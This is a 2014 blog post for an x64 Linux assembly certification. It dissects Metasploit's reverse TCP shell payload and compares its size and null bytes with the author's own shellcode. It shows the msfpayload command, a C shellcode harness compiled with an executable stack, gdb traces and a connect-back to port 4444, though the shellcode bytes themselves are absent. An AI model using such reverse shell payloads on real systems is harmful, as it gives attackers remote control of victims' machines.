Saturday, December 20, 2014

A Look at the linux/x64/shell_reverse_tcp Metasploit Payload

After I finished micro optimizing my reverse TCP port shellcode, I remembered that Metasploit offers one. The msfpayload generated one which weighs in at 74 bytes. My payload is 77 bytes, however mine doesn't contain any null-bytes. Metasploit's will always contain nulls, even if your IP and port do not.

Even though I was sad to see it contained null-byutes, I thought there might be something to learn from Metasploit's version.

root@kali:~/# msfpayload linux/x64/shell_reverse_tcp LHOST= LPORT=4444 C
 * linux/x64/shell_reverse_tcp - 74 bytes

I threw this into a C file.

unsigned char sc[] = 

    (*(void(*)()) sc)();

I compiled it: gcc -m64 -z execstack msfreverse.c

I then started up: gdb ./a.out

0x00000000004004ba in main ()
7: /x $rdi = 0x1
6: /x $rsi = 0x7fffffffe428
5: /x $rdx = 0x600880
4: /x $rcx = 0x0
3: /x $rbx = 0x0
2: /x $rax = 0x0
1: x/i $rip
=> 0x4004ba <main+14>:    callq  *%rdx

Again as I saw in the bind shell version, I discovered they were able to shrink their register fixing and first syscall into 12 bytes, whereas mine was 13.  Here again is a high level look at what they did to accomplish this:

push   0x29
pop    rax
push   0x2
pop    rdi
push   0x1
pop    rsi

Next we come across an area with null-bytes. Since I used for the address, there are null-bytes. I got around this in my own shellcode by subtracting a mask, and adding it back when the shellcode is run.

One thing they did that was able to shrink the code considerably is enter all of the struct sockaddr in a single mov instruction.

0x000000000060088e in sc ()
7: /x $rdi = 0x7
6: /x $rsi = 0x1
5: /x $rdx = 0x0
4: /x $rcx = 0xffffffffffffffff
3: /x $rbx = 0x0
2: /x $rax = 0x2
1: x/i $rip
=> 0x60088e <sc+14>:    movabs $0x100007f5c110002,%rcx

It looks like they actually end up with some pollution in their stack when the syscall is made.

(gdb) x/4xw $rsi
0x7fffffffe330:    0x5c110002    0x0100007f    0x004004bc    0x00000000

We can compare this to  my version, which cleans the stack first.
(gdb) x/4xw $rsi
0x7fffffffe328:    0x5c110002    0x0100007f    0x00000000    0x00000000

I ran both programs through strace, and got identical syscalls.

connect(3, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("")}, 16)

So I consulted the man page. It would appear these are optional bytes, and there may be a way to shrink my own shellcode at this point. I think I would be able to save 1 byte by not pushing and clearing this out.

The rest of the code is pretty standard for a reverse shell.  There's another null-byte when the "/bin/sh" string is put on the stack.

So just by looking at Metasploit's code I found at least two places I can further shrink my own code.

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification.

Student ID: SLAE64 - 1360

No comments :

Post a Comment